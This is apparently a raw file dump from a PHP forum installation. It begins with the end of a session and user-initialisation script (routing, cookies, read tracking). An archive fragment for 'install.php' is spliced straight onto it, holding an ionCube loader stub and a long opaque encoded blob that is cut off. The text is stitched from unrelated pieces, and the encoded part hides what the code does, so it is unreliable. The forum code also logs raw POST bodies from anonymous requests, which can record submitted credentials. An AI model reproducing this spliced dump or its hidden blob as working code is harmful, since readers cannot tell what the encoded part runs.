case 'rc': $_GET['t'] = 'reg_conf'; break; case 'ma': $_GET['t'] = 'mnav'; if (isset($p[1])) { $_GET['rng'] = isset($p[1]) ? $p[1] : 0; $_GET['rng2'] = isset($p[2]) ? $p[2] : 0; $_GET['u'] = isset($p[3]) ? $p[3] : 0; $_GET['start'] = isset($p[4]) ? $p[4] : 0; $_GET['sub'] = !empty($p[5]); } break; case 'ip': $_GET['t'] = 'ip'; if (isset($p[1])) { $_GET[($p[1][0] == 'i' ? 'ip' : 'user')] = isset($p[2]) ? $p[2] : ''; } break; case 'met': $_GET['t'] = 'merge_th'; if (isset($p[1])) { $_GET['frm_id'] = $p[1]; } break; case 'uc': $_GET['t'] = 'uc'; if (isset($p[1], $p[2])) { $_GET[$p[1]] = $p[2]; } break; case 'mmd': $_GET['t'] = 'mmd'; break; case 'cal': /* Calendar */ $_GET['t'] = 'calendar'; break; case 'blog': /* Blog */ $_GET['t'] = 'blog'; if ($p[1] == 'u' && isset($p[2])) { $_GET['user'] = $p[2]; $_GET['start'] = isset($p[3]) ? $p[3] : 0; } if ($p[1] == 'f' && isset($p[2])) { $_GET['forum'] = $p[2]; $_GET['start'] = isset($p[3]) ? $p[3] : 0; } else { $_GET['start'] = $p[1]; } break; case 'page': /* Static page */ $_GET['t'] = 'page'; if (isset($p[1])) { $_GET['id'] = $p[1]; } break; default: // Page not specified, redirect to front page. $_GET['t'] = 'index'; break; } $GLOBALS['t'] = $_GET['t']; } else if (isset($_GET['t'])) { $GLOBALS['t'] = (string) $_GET['t']; } else if (isset($_POST['t'])) { $GLOBALS['t'] = (string) $_POST['t']; } else { if ($o4 & 16 && $o4 & 32) { // Blog enabled and set as home page. $GLOBALS['t'] = 'blog'; } else { $GLOBALS['t'] = 'index'; } } if ($GLOBALS['t'] == 'register') { $GLOBALS['THREADS_PER_PAGE_F'] = $GLOBALS['THREADS_PER_PAGE']; // Store old value. } header('P3P: CP="ALL CUR OUR IND UNI ONL INT CNT STA"'); /* P3P Policy. */ $sq = 0; /* Fetch an object with the user's session, profile & theme info. */ if (!($u = ses_get()) && defined('plugins')) { /* Call auto-login plugins. */ $u = plugin_call_hook('AUTO_LOGIN'); } if (!$u) { /* New anon user. */ $u = ses_anon_make(); // Log POST reuests for Anon users. if (defined('fud_logging') || $GLOBALS['is_post'] ) { fud_logerror($_SERVER['REQUEST_URI'] .': '. print_r($_POST, true), 'post.log'); } } else if ($u->id != 1 && (!$GLOBALS['is_post'] || sq_check(1, $u->sq, $u->id, $u->ses_id))) { /* Store the last visit date for registered user. */ q('UPDATE fud30_users SET last_visit='. __request_timestamp__ .' WHERE id='. $u->id); if ($GLOBALS['FUD_OPT_3'] & 1) { // SESSION_COOKIES setcookie($GLOBALS['COOKIE_NAME'], $u->ses_id, 0, $GLOBALS['COOKIE_PATH'], $GLOBALS['COOKIE_DOMAIN']); } if (!$u->sq || __request_timestamp__ - $u->last_visit > 180) { // 3 min. $u->sq = $sq = regen_sq($u->id); if (!$GLOBALS['is_post']) { $_GET['SQ'] = $sq; } else { $_POST['SQ'] = $sq; } } else { $sq =& $u->sq; } } // Prevent spiders from doing funny stuff. if (($u->users_opt & 1073741824) && $GLOBALS['is_post']) { // is_spider die('Bad bot!'); } /* Disable caching for registered users and POST requests. */ if ($GLOBALS['is_post'] || $u->id > 1) { header('Cache-Control: no-store, private, must-revalidate, proxy-revalidate, post-check=0, pre-check=0, max-age=0, s-maxage=0'); header('Expires: Mon, 21 Jan 1980 06:01:01 GMT'); header('Pragma: no-cache'); } if ($u->data) { $u->data = unserialize($u->data); } $uo = $u->users_opt = (int)$u->users_opt; /* This should allow path_info & normal themes to work properly within 1 forum. */ if ($o2 & 32768 && !($u->theme_opt & 4)) { $o2 ^= 32768; } /* Handle PM disabling for users. */ if (!($GLOBALS['is_a'] = $uo & 1048576) && $uo & 33554432) { $o1 = $o1 &~ 1024; } /* Set timezone. */ if (empty($u->time_zone) || @date_default_timezone_set($u->time_zone) === FALSE) { date_default_timezone_set($GLOBALS['SERVER_TZ']); } /* Set locale. */ $GLOBALS['good_locale'] = setlocale(LC_ALL, $u->locale); /* Call inituser plugins. */ if (defined('plugins')) { plugin_call_hook('INITUSER', $u); } /* View format for threads & messages. */ define('d_thread_view', $uo & 256 ? 'msg' : 'tree'); define('t_thread_view', $uo & 128 ? 'thread' : 'threadt'); if ($GLOBALS['t'] === 0) { $GLOBALS['t'] = $_GET['t'] = d_thread_view; } else if ($GLOBALS['t'] === 1) { $GLOBALS['t'] = $_GET['t'] = t_thread_view; } /* Define theme path, may already be set by a plugin. */ defined('fud_theme') or define('fud_theme', 'theme/'. ($u->theme_name ? $u->theme_name : 'default') .'/'); /* Define _uid, which, will tell us if this is a 'real' user or not. */ define('__fud_real_user__', ($u->id != 1 ? $u->id : 0)); define('_uid', __fud_real_user__ && ($uo & 131072) && !($uo & 2097152) ? $u->id : 0); /* Allow user to set their own topics per page value, as long as it is smaller then the max. */ if (__fud_real_user__ && $GLOBALS['THREADS_PER_PAGE'] > $u->topics_per_page) { $GLOBALS['THREADS_PER_PAGE'] = (int) $u->topics_per_page; } $GLOBALS['sq'] = $sq; /* Define constants used to track URL sessions & referrals. */ if ($o1 & 128) { define('s', $u->ses_id); define('_hs', ''); if ($o2 & 8192) { if ($o2 & 32768) { define('_rsid', __fud_real_user__ .'/'. s .'/'); } else { define('_rsid', 'rid='. __fud_real_user__ .'&S='. s); } } else { if ($o2 & 32768) { define('_rsid', s .'/'); } else { define('_rsid', 'S='. s); } } } else { define('s', ''); define('_hs', ''); if ($o2 & 8192) { if ($o2 & 32768) { define('_rsid', __fud_real_user__ .'/'); } else { define('_rsid', 'rid='. __fud_real_user__); } } else { define('_rsid', ''); } } define('_rsidl', ($o2 & 32768 ? _rsid : str_replace('&', '&', _rsid))); return $u; } function user_register_forum_view($frm_id) { if (__dbtype__ == 'mysql') { // MySQL optimization. q('INSERT INTO fud30_forum_read (forum_id, user_id, last_view) VALUES ('. $frm_id .', '. _uid .', '. __request_timestamp__ .') ON DUPLICATE KEY UPDATE last_view=VALUES(last_view)'); return; } if (!db_li('INSERT INTO fud30_forum_read (forum_id, user_id, last_view) VALUES ('. $frm_id .', '. _uid .', '. __request_timestamp__ .')', $ef)) { q('UPDATE fud30_forum_read SET last_view='. __request_timestamp__ .' WHERE forum_id='. $frm_id .' AND user_id='. _uid); } } function user_register_thread_view($thread_id, $tm=__request_timestamp__, $msg_id=0) { if (__dbtype__ == 'mysql') { // MySQL optimization. q('INSERT INTO fud30_read (last_view, msg_id, thread_id, user_id) VALUES('. $tm .', '. $msg_id .', '. $thread_id .', '. _uid .') ON DUPLICATE KEY UPDATE last_view=VALUES(last_view), msg_id=VALUES(msg_id)'); return; } if (!db_li('INSERT INTO fud30_read (last_view, msg_id, thread_id, user_id) VALUES('. $tm .', '. $msg_id .', '. $thread_id .', '. _uid .')', $ef)) { q('UPDATE fud30_read SET last_view='. $tm .', msg_id='. $msg_id .' WHERE thread_id='. $thread_id .' AND user_id='. _uid); } } function user_set_post_count($uid) { $pd = db_saq('SELECT MAX(id), count(*) FROM fud30_msg WHERE poster_id='. $uid .' AND apr=1'); $level_id = (int) q_singleval(q_limit('SELECT id FROM fud30_level WHERE post_count <= '. $pd[1] .' ORDER BY post_count DESC', 1)); q('UPDATE fud30_users SET u_last_post_id='. (int)$pd[0] .', posted_msg_count='. (int)$pd[1] .', level_id='. $level_id .' WHERE id='. $uid); } function user_mark_all_read($id) { q('UPDATE fud30_users SET last_read='. __request_timestamp__ .' WHERE id='. $id); q('DELETE FROM fud30_read WHERE user_id='. $id); q('DELETE FROM fud30_forum_read WHERE user_id='. $id); } function user_mark_forum_read($id, $fid, $last_view) { if (__dbtype__ == 'mysql') { // MySQL optimization. q('INSERT INTO fud30_read (user_id, thread_id, msg_id, last_view) SELECT '. $id .', id, last_post_id, '. __request_timestamp__ .' FROM fud30_thread WHERE forum_id='. $fid .' AND last_post_date > '. $last_view .' ON DUPLICATE KEY UPDATE last_view=VALUES(last_view), msg_id=VALUES(msg_id)'); } else if (__dbtype__ == 'sqlite') { // SQLite optimization. q('REPLACE INTO fud30_read (user_id, thread_id, msg_id, last_view) SELECT '. $id .', id, last_post_id, '. __request_timestamp__ .' FROM fud30_thread WHERE forum_id='. $fid .' AND last_post_date > '. $last_view); } else { // Other databases. if (!db_li('INSERT INTO fud30_read (user_id, thread_id, msg_id, last_view) SELECT '. $id .', id, last_post_id, '. __request_timestamp__ .' FROM fud30_thread WHERE forum_id='. $fid .' AND last_post_date > '. $last_view, $ef)) { q('UPDATE fud30_read SET user_id='. $id .', msg_id=t.last_post_id, last_view='. __request_timestamp__ .' FROM (SELECT id, last_post_id FROM fud30_thread WHERE forum_id='. $fid .' AND last_post_date > '. $last_view .') t WHERE user_id='. $id .' AND thread_id=t.id'); } } user_register_forum_view($fid); } function sq_check($post, &$sq, $uid=__fud_real_user__, $ses=s) { /* No sequence # check for anonymous users. */ if (!$uid) { return 1; } if ($post && isset($_POST['SQ'])) { $s = $_POST['SQ']; } else if (!$post && isset($_GET['SQ'])) { $s = $_GET['SQ']; } else { $s = 0; } if ($sq !== $s) { if ($GLOBALS['t'] == 'post' || $GLOBALS['t'] == 'ppost') { define('fud_bad_sq', 1); $sq = regen_sq($uid); return 1; } header('Location: [[relativeurl]]/index.php?S='. $ses); exit; } return 1; } function regen_sq($uid=__fud_real_user__) { $sq = md5(get_random_value(128)); q('UPDATE fud30_users SET sq=\''. $sq .'\' WHERE id='. $uid); return $sq; } // Initialize user session. if (isset($_SERVER['REMOTE_ADDR']) && !defined('no_session')) { $GLOBALS['usr'] = init_user(); } fud_use('err.inc'); /* BUST_A_PUNK enabled. */ if ($FUD_OPT_2 & 524288 && isset($_COOKIE[$COOKIE_NAME .'1']) && $t != 'error') { fud_use('errmsg.inc'); exit_user_banned(); } /* Check PHP_COMPRESSION_ENABLE. */ if ($FUD_OPT_2 & 16384 && $t != 'getfile') { ini_set('zlib.output_compression_level', (int)$PHP_COMPRESSION_LEVEL); ob_start('ob_gzhandler'); } if ($t == 'rview') { if (isset($_GET['th']) || isset($_GET['goto'])) { $t = $_GET['t'] = d_thread_view; } else if (isset($_GET['frm_id'])) { $t = $_GET['t'] = t_thread_view; } else { $t = $_GET['t'] = 'index'; } } else if (preg_match('/[^a-z_]/', $t) || !@file_exists($WWW_ROOT_DISK . fud_theme . $t .'.php')) { // Page not found, redirect to front page. http_response_code(404); $t = 'index'; } /* Call themed template. */ if (defined('plugins')) { $t = plugin_call_hook('PRE_TEMPLATE', $t); if (isset($plugin_hooks['POST_TEMPLATE'])) { ob_start(); // Start capturing output for POST_TEMPLATE plugins. } } require($WWW_ROOT_DISK . fud_theme .'language.inc'); // Initialize theme's language helper functions. require($WWW_ROOT_DISK . fud_theme . $t .'.php'); if (defined('plugins') && isset($plugin_hooks['POST_TEMPLATE'])) { $template_data = ob_get_contents(); ob_end_clean(); echo plugin_call_hook('POST_TEMPLATE', $template_data); } /* Housekeeping. */ while (ob_get_level() > 0) ob_end_flush(); // Flush all output to browser. switch ($t) { case 'msg': if (!isset($_GET['prevloaded'])) { th_inc_view_count($frm->id); } if (_uid && $obj2) { if ($frm->last_forum_view < $obj2->post_stamp) { user_register_forum_view($frm->forum_id); } if ($frm->last_view < $obj2->post_stamp) { user_register_thread_view($frm->id, $obj2->post_stamp, $obj2->id); } } break; case 'tree': if (_uid && $msg_obj) { th_inc_view_count($msg_obj->thread_id); if ($frm->last_forum_view < $msg_obj->post_stamp) { user_register_forum_view($msg_obj->forum_id); } if ($frm->last_view < $msg_obj->post_stamp) { user_register_thread_view($msg_obj->thread_id, $msg_obj->post_stamp, $msg_obj->id); } } break; case 'login': /* Clear expired sessions AND anonymous sessions older than 1 day. */ q('DELETE FROM fud30_ses WHERE time_sec<'. (__request_timestamp__- ($FUD_OPT_3 & 1 ? $SESSION_TIMEOUT : $COOKIE_TIMEOUT)) .' OR (user_id>2000000000 AND time_sec<'. (__request_timestamp__- 86400) .')'); break; case 'thread': case 'threadt': if (_uid) { user_register_forum_view($frm_id); } break; } ?> PKl0]'++php71/install.phpnu[1&&$__id[1]==':'){$__id=str_replace('\\','/',substr($__id,2));$__here=str_replace('\\','/',substr($__here,2));}$__rd=str_repeat('/..',substr_count($__id,'/')).$__here.'/';$__i=strlen($__rd);while($__i--){if($__rd[$__i]=='/'){$__lp=substr($__rd,0,$__i).$__ln;if(file_exists($__oid.$__lp)){$__ln=$__lp;break;}}}if(function_exists('dl')){@dl($__ln);}}else{die('The file '.__FILE__." is corrupted.\n");}if(function_exists('_il_exec')){return _il_exec();}echo("Site error: the ".(php_sapi_name()=='cli'?'ionCube':'ionCube')." PHP Loader needs to be installed. This is a widely used PHP extension for running ionCube protected PHP code, website security and malware blocking.\n\nPlease visit ".(php_sapi_name()=='cli'?'get-loader.ioncube.com':'get-loader.ioncube.com')." for install assistance.\n\n");exit(199); ?> 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 